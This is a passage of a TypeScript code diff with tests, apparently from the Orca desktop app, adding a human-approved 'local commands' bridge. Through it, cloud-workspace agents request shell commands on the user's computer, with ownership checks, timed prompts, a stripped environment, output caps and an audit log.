expect(t.settled[0]).toMatchObject({ outcome: 'declined', reason: 'not_allowed' })
})
it('asks, then runs exactly the command it showed after Allow once', async () => {
const t = setup()
await t.request()
expect(t.prompts()).toEqual([
expect.objectContaining({ id: REQUEST, command: 'xcrun simctl list', cwd: '/Users/me' })
])
expect(await t.bridge.decide(REQUEST, 'allow-once')).toEqual({ ok: false, error: 'too_soon' })
t.advance(1_000)
expect(await t.bridge.decide(REQUEST, 'allow-once')).toEqual({ ok: true })
await vi.waitFor(() => expect(t.settled.map((s) => s.outcome)).toEqual(['started', 'finished']))
expect(t.executed).toEqual([{ command: 'xcrun simctl list', cwd: '/Users/me' }])
expect(t.audit.recent(1)[0]).toMatchObject({ outcome: 'allowed-once', exitCode: 0 })
})
it('runs an always-allowed command next time without asking', async () => {
const t = setup()
t.settings.addRule(SANDBOX, 'xcrun simctl list', '/Users/me', 1)
await t.request()
await vi.waitFor(() => expect(t.executed).toHaveLength(1))
expect(t.prompts()).toEqual([])
expect(t.audit.recent(1)[0]).toMatchObject({ outcome: 'auto-allowed' })
})
it('reports an unanswered prompt as not answered, not as denied', async () => {
const t = setup()
await t.request()
t.timers.at(-1)!()
expect(t.settled).toEqual([
{ requestId: REQUEST, outcome: 'declined', reason: 'approval_timed_out' }
])
expect(t.executed).toEqual([])
})
it('does not run when the workspace was turned off while the prompt was open', async () => {
const t = setup()
await t.request()
t.settings.setEnabled(SANDBOX, false, false, 2)
t.advance(1_000)
expect(await t.bridge.decide(REQUEST, 'allow-once')).toEqual({
ok: false,
error: 'not_allowed'
})
expect(t.executed).toEqual([])
})
})
@@ -0,0 +1,315 @@
import {
LOCAL_COMMAND_APPROVAL_WINDOW_MS,
hasNonAsciiCharacters,
type LocalCommandDeclineReason,
type LocalCommandSettleParams,
type LocalCommandSettleResult
} from '../../shared/local-commands/local-command-contract'
import type {
LocalCommandAuditEntry,
LocalCommandDecision,
LocalCommandPrompt
} from '../../shared/local-commands/local-command-desktop-types'
import { createLocalCommandAttachments, type LocalCommandTimer } from './local-command-attachments'
import type { LocalCommandBridgeDeps } from './local-command-bridge-types'
import {
LocalCommandRequestedEventSchema,
LocalCommandSettledEventSchema,
displayText,
localCommandRefusal,
requestIdOf,
type LocalCommandWorkspacePolicy
} from './local-command-request-checks'
import { runApprovedLocalCommand, type RequestBase } from './local-command-run'
export type { LocalCloudWorkspaceRef, LocalCommandBridgeDeps } from './local-command-bridge-types'
/** A person can't have read a prompt this fresh: an allow that lands sooner is refused. */
export const LOCAL_COMMAND_MIN_DECISION_MS = 600
const POLICY_TTL_MS = 30_000
const HANDLED_LIMIT = 500
type PendingPrompt = {
prompt: LocalCommandPrompt
environmentId: string
shownAt: number
timer: { cancel: () => void }
}
const defaultTimer: LocalCommandTimer = (run, ms) => {
const handle = setTimeout(run, ms)
handle.unref?.()
return { cancel: () => clearTimeout(handle) }
}
/**
* This computer's side of local commands: attaches to each cloud workspace the person turned on,
* re-checks every request against its own rules, asks the person, runs and reports, and records
* everything in the audit log. Nothing here acts on the VM's say-so alone.
*/
export function createLocalCommandBridge(deps: LocalCommandBridgeDeps) {
const now = deps.now ?? Date.now
const setTimer = deps.setTimer ?? defaultTimer
const log = deps.log ?? ((message: string) => console.info(`[local-commands] ${message}`))
const pending = new Map<string, PendingPrompt>()
// Request ids this computer already acted on; a replay after reconnect is never answered twice.
const handled = new Set<string>()
const policyCache = new Map<string, { at: number; value: LocalCommandWorkspacePolicy | null }>()
const labels = new Map<string, string>()
const attachments = createLocalCommandAttachments({
subscribe: deps.subscribe,
setTimer,
onConnectedChanged: deps.publishState,
onEvent: (sandboxId, environmentId, event) => {
const type = (event as { type?: unknown }).type
if (type === 'requested') {
void onRequested(environmentId, sandboxId, event)
} else if (type === 'settled') {
onSettled(event)
}
}
})
const labelOf = (sandboxId: string): string => labels.get(sandboxId) ?? sandboxId
function audit(entry: Omit<LocalCommandAuditEntry, 'at' | 'workspaceLabel'>): void {
deps.audit.append({ at: now(), workspaceLabel: labelOf(entry.sandboxId), ...entry })
}
function publishPrompts(): void {
deps.publishPrompts([...pending.values()].map((p) => p.prompt))
}
async function policyOf(
sandboxId: string,
fresh: boolean
): Promise<LocalCommandWorkspacePolicy | null> {
const cached = policyCache.get(sandboxId)
if (!fresh && cached && now() - cached.at < POLICY_TTL_MS) {
return cached.value
}
const value = await deps.readPolicy(sandboxId).catch(() => null)
policyCache.set(sandboxId, { at: now(), value })
if (value?.title) {
labels.set(sandboxId, value.title)
}
return value
}
async function refusalOf(sandboxId: string): Promise<string | null> {
const setting = deps.settings.workspace(sandboxId)
if (!deps.supported || !setting?.enabled) {
return localCommandRefusal(deps.supported, setting, null)
}
return localCommandRefusal(deps.supported, setting, await policyOf(sandboxId, true))
}
async function settle(
environmentId: string,
params: LocalCommandSettleParams
): Promise<LocalCommandSettleResult | null> {
try {
return await deps.settle(environmentId, params)
} catch (error) {
log(`settle ${params.outcome} failed: ${error instanceof Error ? error.message : error}`)
return null
}
}
function decline(environmentId: string, requestId: string, reason: LocalCommandDeclineReason) {
void settle(environmentId, { requestId, outcome: 'declined', reason })
}
async function onRequested(environmentId: string, sandboxId: string, raw: unknown) {
const requestId = requestIdOf(raw)
if (!requestId || handled.has(requestId) || pending.has(requestId)) {
return
}
handled.add(requestId)
if (handled.size > HANDLED_LIMIT) {
handled.delete(handled.values().next().value!)
}
const parsed = LocalCommandRequestedEventSchema.safeParse(raw)
if (!parsed.success) {
audit({ requestId, sandboxId, command: '', cwd: null, agent: null, outcome: 'refused' })
decline(environmentId, requestId, 'not_allowed')
return
}
const event = parsed.data
const base: RequestBase = {
requestId,
sandboxId,
command: event.command,
cwd: event.cwd,
agent: displayText(event.agent, 64)
}
const refusal = await refusalOf(sandboxId)
if (refusal) {
audit({ ...base, outcome: 'refused', detail: refusal })
decline(environmentId, requestId, 'not_allowed')
return
}
const cwd = await deps.resolveCwd(event.cwd)
if (!cwd) {
audit({ ...base, outcome: 'refused', detail: 'The folder does not exist on this computer.' })
if ((await settle(environmentId, { requestId, outcome: 'started' }))?.accepted) {
await settle(environmentId, {
requestId,
outcome: 'failed',
message: `The folder ${event.cwd ?? '~'} does not exist on the person's computer.`
})
}
return
}
if (deps.settings.findRule(sandboxId, event.command, cwd)) {
await runApproved(environmentId, { ...base, cwd }, event.timeoutSec, 'auto-allowed')
return
}
const windowMs = Math.min(event.expiresInMs, LOCAL_COMMAND_APPROVAL_WINDOW_MS)
if (windowMs <= 0) {
return
}
const prompt: LocalCommandPrompt = {
id: requestId,
sandboxId,
workspaceLabel: labelOf(sandboxId),
shared: policyCache.get(sandboxId)?.value?.shared ?? false,
command: event.command,
cwd,
timeoutSec: event.timeoutSec,
reason: displayText(event.reason, 200),
agent: base.agent,
hasNonAscii: hasNonAsciiCharacters(event.command) || hasNonAsciiCharacters(cwd),
expiresAt: now() + windowMs
}
const timer = setTimer(() => {
if (pending.delete(requestId)) {
audit({ ...base, cwd, outcome: 'timed-out' })
decline(environmentId, requestId, 'approval_timed_out')
publishPrompts()
}
}, windowMs)
pending.set(requestId, { prompt, environmentId, shownAt: now(), timer })
publishPrompts()
deps.onPromptAdded?.(prompt)
}
const runApproved = (
environmentId: string,
base: RequestBase & { cwd: string },
timeoutSec: number,
outcome: 'allowed-once' | 'always-allowed' | 'auto-allowed'
): Promise<void> =>
runApprovedLocalCommand(
{ settle, execute: deps.execute, audit },
environmentId,
base,
timeoutSec,
outcome
)
function closePrompt(id: string, entry: PendingPrompt): RequestBase & { cwd: string } {
entry.timer.cancel()
pending.delete(id)
publishPrompts()
const { prompt } = entry
return {
requestId: id,
sandboxId: prompt.sandboxId,
command: prompt.command,
cwd: prompt.cwd,
agent: prompt.agent
}
}
function onSettled(raw: unknown): void {
const parsed = LocalCommandSettledEventSchema.safeParse(raw)
const entry = parsed.success ? pending.get(parsed.data.requestId) : undefined
if (!parsed.success || !entry) {
return
}
const base = closePrompt(parsed.data.requestId, entry)
audit({
...base,
outcome: parsed.data.status === 'expired' ? 'timed-out' : 'closed',
detail: `The workspace reported it ${parsed.data.status}.`
})
}
function reconcile(): void {
const enabled = new Set(deps.supported ? deps.settings.enabledSandboxIds() : [])
const desired = new Map<string, string>()
for (const workspace of deps.listWorkspaces()) {
if (!labels.has(workspace.sandboxId)) {
labels.set(workspace.sandboxId, workspace.fallbackLabel)
}
if (enabled.has(workspace.sandboxId) && workspace.runtimeEnvironmentId) {
desired.set(workspace.sandboxId, workspace.runtimeEnvironmentId)
}
}
attachments.reconcile(desired)
}
return {
reconcile,
labelOf,
policyOf,
isConnected: (sandboxId: string) => attachments.isConnected(sandboxId),
async decide(
id: string,
decision: LocalCommandDecision
): Promise<{ ok: boolean; error?: string }> {
const entry = pending.get(id)
if (!entry) {
return { ok: false, error: 'not_found' }
}
if (decision !== 'deny' && now() - entry.shownAt < LOCAL_COMMAND_MIN_DECISION_MS) {
return { ok: false, error: 'too_soon' }
}
const base = closePrompt(id, entry)
if (decision === 'deny') {
audit({ ...base, outcome: 'denied' })
decline(entry.environmentId, id, 'denied')
return { ok: true }
}
// Turned off (or ownership changed) while the prompt was open: the earlier check is stale.
const refusal = await refusalOf(base.sandboxId)
if (refusal) {
audit({ ...base, outcome: 'refused', detail: refusal })
decline(entry.environmentId, id, 'not_allowed')
return { ok: false, error: 'not_allowed' }
}
if (decision === 'always-allow') {
deps.settings.addRule(base.sandboxId, base.command, base.cwd, now())
deps.publishState()
}
const outcome = decision === 'always-allow' ? 'always-allowed' : 'allowed-once'
void runApproved(entry.environmentId, base, entry.prompt.timeoutSec, outcome)
return { ok: true }
},
prompts: (): LocalCommandPrompt[] => [...pending.values()].map((p) => p.prompt),
/** Turning a workspace off answers its open prompts as refused. */
dropPromptsFor(sandboxId: string): void {
for (const [id, entry] of pending) {
if (entry.prompt.sandboxId === sandboxId) {
const base = closePrompt(id, entry)
audit({ ...base, outcome: 'refused', detail: 'Local commands were turned off.' })
decline(entry.environmentId, id, 'not_allowed')
}
}
},
dispose(): void {
attachments.dispose()
for (const entry of pending.values()) {
entry.timer.cancel()
}
pending.clear()
}
}
}
export type LocalCommandBridge = ReturnType<typeof createLocalCommandBridge>
@@ -0,0 +1,69 @@
import { mkdtempSync, realpathSync, rmSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import {
buildLocalCommandEnv,
executeLocalCommand,
localCommandsSupported,
resolveLocalCommandCwd
} from './local-command-executor'
const dirs: string[] = []
afterEach(() => {
for (const dir of dirs.splice(0)) {
rmSync(dir, { recursive: true, force: true })
}
})
describe.skipIf(!localCommandsSupported())('local command executor', () => {
it('passes none of the app environment except PATH, HOME and locale', async () => {
const env = buildLocalCommandEnv(
'/opt/homebrew/bin:/usr/bin:/bin',
{ ANTHROPIC_API_KEY: 'sk-secret', GITHUB_TOKEN: 'ghp_x', LANG: 'en_US.UTF-8', USER: 'me' },
'/Users/me'
)
const result = await executeLocalCommand({
command: 'env',
cwd: tmpdir(),
timeoutSec: 10,
env
})
expect(result.stdout).not.toContain('sk-secret')
expect(result.stdout).not.toContain('ghp_x')
expect(result.stdout).toContain('PATH=/opt/homebrew/bin:/usr/bin:/bin')
expect(result.stdout).toContain('HOME=/Users/me')
expect(result.stdout).toContain('LANG=en_US.UTF-8')
})
it('cuts output at 128 KB per stream and says so', async () => {
const result = await executeLocalCommand({
command: 'head -c 300000 /dev/zero | tr "\\0" a',
cwd: tmpdir(),
timeoutSec: 10,
env: buildLocalCommandEnv(undefined)
})
expect(result.stdout.length).toBe(128 * 1024)
expect(result.stdoutBytes).toBe(300000)
expect(result.truncated).toBe(true)
})
it('stops a command at its timeout', async () => {
const result = await executeLocalCommand({
command: 'sleep 30',
cwd: tmpdir(),
timeoutSec: 1,
env: buildLocalCommandEnv(undefined)
})
expect(result.timedOut).toBe(true)
expect(result.durationMs).toBeLessThan(10_000)
})
it('resolves ~ and refuses a folder that does not exist', async () => {
const home = mkdtempSync(join(tmpdir(), 'lc-home-'))
dirs.push(home)
expect(await resolveLocalCommandCwd('~', home)).toBe(realpathSync(home))
expect(await resolveLocalCommandCwd('~/nope', home)).toBeNull()
expect(await resolveLocalCommandCwd('relative/path', home)).toBeNull()
})
})
@@ -0,0 +1,189 @@
import { spawn, type ChildProcess } from 'node:child_process'
import { realpath, stat } from 'node:fs/promises'
import { homedir } from 'node:os'
import { isAbsolute, join } from 'node:path'
import {
LOCAL_COMMAND_OUTPUT_CAP_BYTES,
type LocalCommandRunResult
} from '../../shared/local-commands/local-command-contract'
const KILL_GRACE_MS = 3_000
const FALLBACK_PATH = '/usr/bin:/bin:/usr/sbin:/sbin'
/** Names copied from this app's own environment; nothing else is passed (no tokens, keys, sockets). */
const PASSTHROUGH = ['USER', 'LOGNAME', 'TMPDIR', 'LANG', 'LC_ALL', 'LC_CTYPE'] as const
export function localCommandsSupported(platform: NodeJS.Platform = process.platform): boolean {
return platform === 'darwin' || platform === 'linux'
}
/** The folder a command runs in: ~ expanded, symlinks resolved, must be a directory. Null if not. */
export async function resolveLocalCommandCwd(
requested: string | null,
home: string = homedir()
): Promise<string | null> {
const raw =
requested === null || requested === '~'
? home
: requested.startsWith('~/')
? join(home, requested.slice(2))
: requested
if (!isAbsolute(raw)) {
return null
}
try {
const resolved = await realpath(raw)
return (await stat(resolved)).isDirectory() ? resolved : null
} catch {
return null
}
}
/**
* A minimal environment: the login shell's PATH (so Homebrew and Xcode tools resolve), the home
* folder and locale. Orca's own environment and the shell profile's exports are never passed, so
* API keys, tokens and agent sockets don't reach the command.
*/
export function buildLocalCommandEnv(
shellPath: string | undefined,
source: NodeJS.ProcessEnv = process.env,
home: string = homedir()
): Record<string, string> {
const env: Record<string, string> = {
PATH: shellPath?.trim() || FALLBACK_PATH,
HOME: home,
SHELL: '/bin/sh',
TERM: 'dumb',
ORCA_LOCAL_COMMAND: '1'
}
for (const name of PASSTHROUGH) {
const value = source[name]
if (typeof value === 'string' && value) {
env[name] = value
}
}
return env
}
class CappedOutput {
private readonly chunks: Buffer[] = []
bytes = 0
kept = 0
truncated = false
push(chunk: Buffer): void {
this.bytes += chunk.length
const room = LOCAL_COMMAND_OUTPUT_CAP_BYTES - this.kept
if (room <= 0) {
this.truncated = true
return
}
const slice = chunk.length > room ? chunk.subarray(0, room) : chunk
if (slice.length < chunk.length) {
this.truncated = true
}
this.chunks.push(slice)
this.kept += slice.length
}
text(): string {
return new TextDecoder('utf-8', { fatal: false }).decode(Buffer.concat(this.chunks))
}
}
const running = new Set<ChildProcess>()
function killGroup(child: ChildProcess, signal: NodeJS.Signals): void {
if (child.pid === undefined) {
return
}
try {
// Negative pid: the whole process group, so `sh -c 'a | b'` and backgrounded children stop too.
process.kill(-child.pid, signal)
} catch {
try {
child.kill(signal)
} catch {
// Already gone.
}
}
}
/** Stops every command still running (app quit). Their workspaces see the result as lost. */
export function stopAllLocalCommands(): void {
for (const child of running) {
killGroup(child, 'SIGKILL')
}
running.clear()
}
export type LocalCommandExecution = {
command: string
cwd: string
timeoutSec: number
env: Record<string, string>
}
export type LocalCommandExecutionOutcome = LocalCommandRunResult & {
stdoutBytes: number
stderrBytes: number
}
/** Runs exactly `command` with /bin/sh -c: no stdin, its own process group, a hard timeout. */
export function executeLocalCommand(
input: LocalCommandExecution
): Promise<LocalCommandExecutionOutcome> {
return new Promise((resolve, reject) => {
const startedAt = Date.now()
const stdout = new CappedOutput()
const stderr = new CappedOutput()
let timedOut = false
let child: ChildProcess
try {
child = spawn('/bin/sh', ['-c', input.command], {
cwd: input.cwd,
env: input.env,
stdio: ['ignore', 'pipe', 'pipe'],
detached: true,
windowsHide: true
})
} catch (error) {
reject(error)
return
}
running.add(child)
child.stdout?.on('data', (chunk: Buffer) => stdout.push(chunk))
child.stderr?.on('data', (chunk: Buffer) => stderr.push(chunk))
let killTimer: ReturnType<typeof setTimeout> | null = null
const timeout = setTimeout(() => {
timedOut = true
killGroup(child, 'SIGTERM')
killTimer = setTimeout(() => killGroup(child, 'SIGKILL'), KILL_GRACE_MS)
}, input.timeoutSec * 1000)
const finish = (exitCode: number | null, signal: NodeJS.Signals | null): void => {
clearTimeout(timeout)
if (killTimer) {
clearTimeout(killTimer)
}
running.delete(child)
// A command that exited may have left children in its group; they don't outlive the request.
killGroup(child, 'SIGKILL')
resolve({
exitCode,
signal,
timedOut,
durationMs: Date.now() - startedAt,
stdout: stdout.text(),
stderr: stderr.text(),
truncated: stdout.truncated || stderr.truncated,
stdoutBytes: stdout.bytes,
stderrBytes: stderr.bytes
})
}
child.once('error', (error) => {
clearTimeout(timeout)
running.delete(child)
reject(error)
})
child.once('close', finish)
})
}
@@ -0,0 +1,67 @@
import { z } from 'zod'
import {
LOCAL_COMMAND_MAX_TIMEOUT_SEC,
LocalCommandCwd,
LocalCommandText,
sanitizeLocalCommandReason
} from '../../shared/local-commands/local-command-contract'
import type { LocalCommandWorkspaceSetting } from './local-command-settings-store'
export const LOCAL_COMMAND_REQUEST_ID = /^lc_[A-Za-z0-9_-]{16,64}$/
/** What orcad sent, checked again here: the VM is never trusted to have validated it. */
export const LocalCommandRequestedEventSchema = z.object({
type: z.literal('requested'),
requestId: z.string().regex(LOCAL_COMMAND_REQUEST_ID),
command: LocalCommandText,
cwd: LocalCommandCwd.nullable(),
timeoutSec: z.number().int().min(1).max(LOCAL_COMMAND_MAX_TIMEOUT_SEC),
reason: z.string().max(800).nullable(),
agent: z.string().max(200).nullable(),
expiresInMs: z.number().min(0)
})
export type LocalCommandRequestedEventInput = z.infer<typeof LocalCommandRequestedEventSchema>
export const LocalCommandSettledEventSchema = z.object({
type: z.literal('settled'),
requestId: z.string().max(80),
status: z.string().max(32)
})
export function requestIdOf(raw: unknown): string | null {
const value =
raw && typeof raw === 'object' ? (raw as { requestId?: unknown }).requestId : undefined
return typeof value === 'string' && LOCAL_COMMAND_REQUEST_ID.test(value) ? value : null
}
/** Agent-written display text: one line, hidden characters removed, bounded. */
export function displayText(value: string | null, max: number): string | null {
return value ? sanitizeLocalCommandReason(value).slice(0, max) || null : null
}
export type LocalCommandWorkspacePolicy = {
isOwner: boolean
shared: boolean
title: string | null
}
/** Why this computer won't take a request from the workspace; null when it may ask the person. */
export function localCommandRefusal(
supported: boolean,
setting: LocalCommandWorkspaceSetting | null,
policy: LocalCommandWorkspacePolicy | null
): string | null {
if (!supported || !setting?.enabled) {
return 'Local commands are off for this workspace.'
}
if (!policy) {
return "Couldn't confirm who owns this workspace."
}
if (!policy.isOwner) {
return 'Only the workspace owner can run local commands.'
}
if (policy.shared && !setting.sharedAllowed) {
return 'The workspace is shared with teammates.'
}
return null
}
@@ -0,0 +1,70 @@
import type {
LocalCommandSettleParams,
LocalCommandSettleResult
} from '../../shared/local-commands/local-command-contract'
import type { LocalCommandAuditEntry } from '../../shared/local-commands/local-command-desktop-types'
import type { LocalCommandExecutionOutcome } from './local-command-executor'
export type RequestBase = {
requestId: string
sandboxId: string
command: string
cwd: string | null
agent: string | null
}
export type ApprovedLocalCommandDeps = {
settle: (
environmentId: string,
params: LocalCommandSettleParams
) => Promise<LocalCommandSettleResult | null>
execute: (input: {
command: string
cwd: string
timeoutSec: number
}) => Promise<LocalCommandExecutionOutcome>
audit: (entry: Omit<LocalCommandAuditEntry, 'at' | 'workspaceLabel'>) => void
}
/** Claims the request, runs it, reports the result and records it. Never runs an unclaimed request. */
export async function runApprovedLocalCommand(
deps: ApprovedLocalCommandDeps,
environmentId: string,
base: RequestBase & { cwd: string },
timeoutSec: number,
outcome: 'allowed-once' | 'always-allowed' | 'auto-allowed'
): Promise<void> {
// Claim first: if another computer or the workspace already settled it, nothing runs here.
const started = await deps.settle(environmentId, {
requestId: base.requestId,
outcome: 'started'
})
if (!started?.accepted) {
deps.audit({ ...base, outcome: 'closed', detail: 'The workspace no longer waited for it.' })
return
}
try {
const result = await deps.execute({ command: base.command, cwd: base.cwd, timeoutSec })
const { stdoutBytes, stderrBytes, ...wire } = result
deps.audit({
...base,
outcome,
exitCode: result.exitCode,
signal: result.signal,
timedOut: result.timedOut,
durationMs: result.durationMs,
stdoutBytes,
stderrBytes,
truncated: result.truncated
})
await deps.settle(environmentId, {
requestId: base.requestId,
outcome: 'finished',
result: wire
})
} catch (error) {
const message = (error instanceof Error ? error.message : String(error)).slice(0, 300)
deps.audit({ ...base, outcome, detail: `Could not start: ${message}` })
await deps.settle(environmentId, { requestId: base.requestId, outcome: 'failed', message })
}
}
@@ -0,0 +1,261 @@
// Electron wiring for local commands: the bridge's real dependencies and its IPC. Every handler
// answers only the trusted app window; nothing a browser guest or plugin frame sends is accepted.
import { app, ipcMain, Notification } from 'electron'
import { z } from 'zod'
import {
LOCAL_COMMANDS_ATTACH_METHOD,
LOCAL_COMMANDS_SETTLE_METHOD,
type LocalCommandSettleParams,
type LocalCommandSettleResult
} from '../../shared/local-commands/local-command-contract'
import {
LOCAL_COMMANDS_PROMPTS_CHANNEL,
LOCAL_COMMANDS_STATE_CHANNEL,
type LocalCommandPrompt
} from '../../shared/local-commands/local-command-desktop-types'
import { environmentHandleFromRecipeResult } from '../environment-providers/environment-provider-recipe-adapter'
import { HOSTED_SANDBOX_DRIVER_ID } from '../hosted-sandbox/hosted-sandbox-driver'
import {
listTeamCloudRuntimes,
readOrcaCloudActiveAccountId
} from '../hosted-sandbox/orca-cloud-active-account'
import { readCloudWorkspaceRecord } from '../ipc/cloud-workspaces'
import {
callRuntimeEnvironment,
subscribeRuntimeEnvironment
} from '../ipc/runtime-environments/runtime-environment-transport-routing'
import { getTrustedUIRendererWindow, isTrustedUIRenderer, sendToTrustedUIRenderer } from '../ipc/ui'
import { retainNotificationUntilRelease } from '../ipc/native-notification-lifecycle'
import { translateMain } from '../i18n/main-i18n'
import { hostShellEnvironment } from '../runtime/agent-session/environment/structured-agent-shell-environment'
import { safelyRevealWindow } from '../window/focus-existing-window'
import { isBackgroundLaunch } from '../window/foreground-activation-policy'
import { LocalCommandAuditLog } from './local-command-audit-log'
import {
createLocalCommandBridge,
type LocalCloudWorkspaceRef,
type LocalCommandBridge
} from './local-command-bridge'
import {
buildLocalCommandEnv,
executeLocalCommand,
localCommandsSupported,
resolveLocalCommandCwd,
stopAllLocalCommands
} from './local-command-executor'
import { isLocalCommandSandboxId, LocalCommandSettingsStore } from './local-command-settings-store'
import {
createLocalCommandSettingsController,
type LocalCommandSettingsController
} from './local-command-settings-controller'
const RECONCILE_MS = 30_000
const SETTLE_TIMEOUT_MS = 15_000
const ENDED_STATUSES = new Set(['failed', 'cleanup_pending', 'cleanup_failed', 'cleaned'])
let bridge: LocalCommandBridge | null = null
let controller: LocalCommandSettingsController | null = null
let reconcileTimer: ReturnType<typeof setInterval> | null = null
function listLocalCloudWorkspaces(userDataPath: string): LocalCloudWorkspaceRef[] {
const refs: LocalCloudWorkspaceRef[] = []
for (const runtime of listTeamCloudRuntimes(userDataPath, readOrcaCloudActiveAccountId())) {
if (!runtime.recipeResult || ENDED_STATUSES.has(runtime.status)) {
continue
}
const handle = environmentHandleFromRecipeResult(runtime.recipeResult, HOSTED_SANDBOX_DRIVER_ID)
if (!handle || !isLocalCommandSandboxId(handle.environmentId)) {
continue
}
refs.push({
sandboxId: handle.environmentId,
runtimeEnvironmentId: runtime.runtimeEnvironmentId ?? null,
fallbackLabel: runtime.workspaceName ?? handle.environmentId
})
}
return refs
}
function notifyPrompt(prompt: LocalCommandPrompt): void {
const win = getTrustedUIRendererWindow()
if (!Notification.isSupported() || (win && !win.isDestroyed() && win.isFocused())) {
return
}
// The command itself stays out of the banner (lock screens show it); the dialog has it.
const notification = new Notification({
title: translateMain('localCommands.notification.title', 'Run a command on this computer?'),
body: translateMain(
'localCommands.notification.body',
'An agent in {{workspace}} is waiting for your approval.',
{ workspace: prompt.workspaceLabel }
)
})
const onClick = (): void => {
release()
const target = getTrustedUIRendererWindow()
if (!target || target.isDestroyed()) {
return
}
if (process.platform === 'darwin' && !isBackgroundLaunch()) {
app.focus({ steal: true })
}
safelyRevealWindow(target)
}
const release = retainNotificationUntilRelease(notification, () => {
notification.removeListener('click', onClick)
})
notification.on('click', onClick)
notification.show()
}
/** Orca Cloud builds only; call once the control plane is configured. */
export function installLocalCommands(userDataPath: string): void {
if (bridge) {
return
}
const settings = new LocalCommandSettingsStore(userDataPath)
const supported = localCommandsSupported()
const listWorkspaces = (): LocalCloudWorkspaceRef[] => listLocalCloudWorkspaces(userDataPath)
const publishState = (): void => sendToTrustedUIRenderer(LOCAL_COMMANDS_STATE_CHANNEL, null)
bridge = createLocalCommandBridge({
settings,
audit: new LocalCommandAuditLog(userDataPath),
supported,
listWorkspaces,
readPolicy: async (sandboxId) => {
const record = await readCloudWorkspaceRecord(sandboxId)
return record
? {
isOwner: record.access === 'owner',
shared: record.visibility !== 'private',
title: record.title
}
: null
},
subscribe: async (environmentId, onEvent, onClose) =>
subscribeRuntimeEnvironment(
userDataPath,
environmentId,
LOCAL_COMMANDS_ATTACH_METHOD,
{},
SETTLE_TIMEOUT_MS,
{
onEvent: (payload) => {
if (payload.type === 'response' && payload.response.ok) {
onEvent(payload.response.result)
}
},
onClose
}
),
settle: async (environmentId: string, params: LocalCommandSettleParams) => {
const response = await callRuntimeEnvironment(
userDataPath,
environmentId,
LOCAL_COMMANDS_SETTLE_METHOD,
params,
SETTLE_TIMEOUT_MS
)
if (!response.ok) {
throw new Error(response.error.message)
}
return response.result as LocalCommandSettleResult
},
resolveCwd: (requested) => resolveLocalCommandCwd(requested),
execute: async ({ command, cwd, timeoutSec }) => {
const shellEnv = await hostShellEnvironment().catch(() => ({}) as NodeJS.ProcessEnv)
return executeLocalCommand({
command,
cwd,
timeoutSec,
env: buildLocalCommandEnv(shellEnv.PATH)
})
},
publishPrompts: (prompts) => sendToTrustedUIRenderer(LOCAL_COMMANDS_PROMPTS_CHANNEL, prompts),
publishState,
onPromptAdded: notifyPrompt
})
controller = createLocalCommandSettingsController({
bridge,
settings,
supported,
listWorkspaces,
publishState
})
bridge.reconcile()
reconcileTimer = setInterval(() => bridge?.reconcile(), RECONCILE_MS)
reconcileTimer.unref?.()
app.once('before-quit', () => {
if (reconcileTimer) {
clearInterval(reconcileTimer)
}
bridge?.dispose()
stopAllLocalCommands()
})
}
const SetEnabled = z
.object({ sandboxId: z.string(), enabled: z.boolean(), allowShared: z.boolean().optional() })
.strict()
const Decide = z
.object({
id: z.string().regex(/^lc_[A-Za-z0-9_-]{16,64}$/),
decision: z.enum(['allow-once', 'always-allow', 'deny'])
})
.strict()
const CHANNELS = [
'localCommands:getState',
'localCommands:setEnabled',
'localCommands:removeRule',
'localCommands:listAudit',
'localCommands:getPrompts',
'localCommands:decide'
] as const
const UNAVAILABLE = { available: false, workspaces: [], rules: [] }
export function registerLocalCommandHandlers(userDataPath: string): void {
for (const channel of CHANNELS) {
ipcMain.removeHandler(channel)
}
const handle = (channel: (typeof CHANNELS)[number], fn: (args: unknown) => unknown): void => {
ipcMain.handle(channel, (event, args: unknown) => {
if (!isTrustedUIRenderer(event.sender)) {
throw new Error('untrusted_sender')
}
return fn(args)
})
}
handle('localCommands:getState', () => controller?.state() ?? UNAVAILABLE)
handle('localCommands:getPrompts', () => bridge?.prompts() ?? [])
handle('localCommands:setEnabled', async (args) => {
const parsed = SetEnabled.safeParse(args)
if (!parsed.success || !isLocalCommandSandboxId(parsed.data.sandboxId)) {
return { ok: false, error: 'invalid_request' }
}
return controller
? controller.setEnabled(
parsed.data.sandboxId,
parsed.data.enabled,
parsed.data.allowShared === true
)
: { ok: false, error: 'unsupported' }
})
handle('localCommands:removeRule', (args) =>
typeof args === 'string' && args.length <= 64 ? (controller?.removeRule(args) ?? false) : false
)
handle('localCommands:listAudit', (args) => {
const limit = typeof args === 'number' && Number.isInteger(args) ? args : 50
return new LocalCommandAuditLog(userDataPath).recent(limit)
})
handle('localCommands:decide', async (args) => {
const parsed = Decide.safeParse(args)
if (!parsed.success) {
return { ok: false, error: 'invalid_request' }
}
return bridge
? bridge.decide(parsed.data.id, parsed.data.decision)
: { ok: false, error: 'not_found' }
})
}
@@ -0,0 +1,88 @@
import type {
LocalCommandsState,
LocalCommandWorkspaceRow
} from '../../shared/local-commands/local-command-desktop-types'
import type { LocalCloudWorkspaceRef, LocalCommandBridge } from './local-command-bridge'
import type { LocalCommandSettingsStore } from './local-command-settings-store'
export type LocalCommandSettingsControllerDeps = {
bridge: LocalCommandBridge
settings: LocalCommandSettingsStore
supported: boolean
listWorkspaces: () => LocalCloudWorkspaceRef[]
publishState: () => void
now?: () => number
}
/** What Settings shows and changes. Turning on re-checks ownership and sharing with the registry. */
export function createLocalCommandSettingsController(deps: LocalCommandSettingsControllerDeps) {
const now = deps.now ?? Date.now
return {
async setEnabled(
sandboxId: string,
enabled: boolean,
allowShared: boolean
): Promise<{ ok: boolean; error?: string }> {
if (!deps.supported) {
return { ok: false, error: 'unsupported' }
}
if (!deps.listWorkspaces().some((w) => w.sandboxId === sandboxId)) {
return { ok: false, error: 'not_found' }
}
if (enabled) {
const policy = await deps.bridge.policyOf(sandboxId, true)
if (!policy) {
return { ok: false, error: 'unverified' }
}
if (!policy.isOwner) {
return { ok: false, error: 'not_owner' }
}
if (policy.shared && !allowShared) {
return { ok: false, error: 'shared_needs_confirmation' }
}
deps.settings.setEnabled(sandboxId, true, policy.shared && allowShared, now())
} else {
deps.settings.setEnabled(sandboxId, false, false, now())
deps.bridge.dropPromptsFor(sandboxId)
}
deps.bridge.reconcile()
deps.publishState()
return { ok: true }
},
removeRule(id: string): boolean {
const removed = deps.settings.removeRule(id)
if (removed) {
deps.publishState()
}
return removed
},
async state(): Promise<LocalCommandsState> {
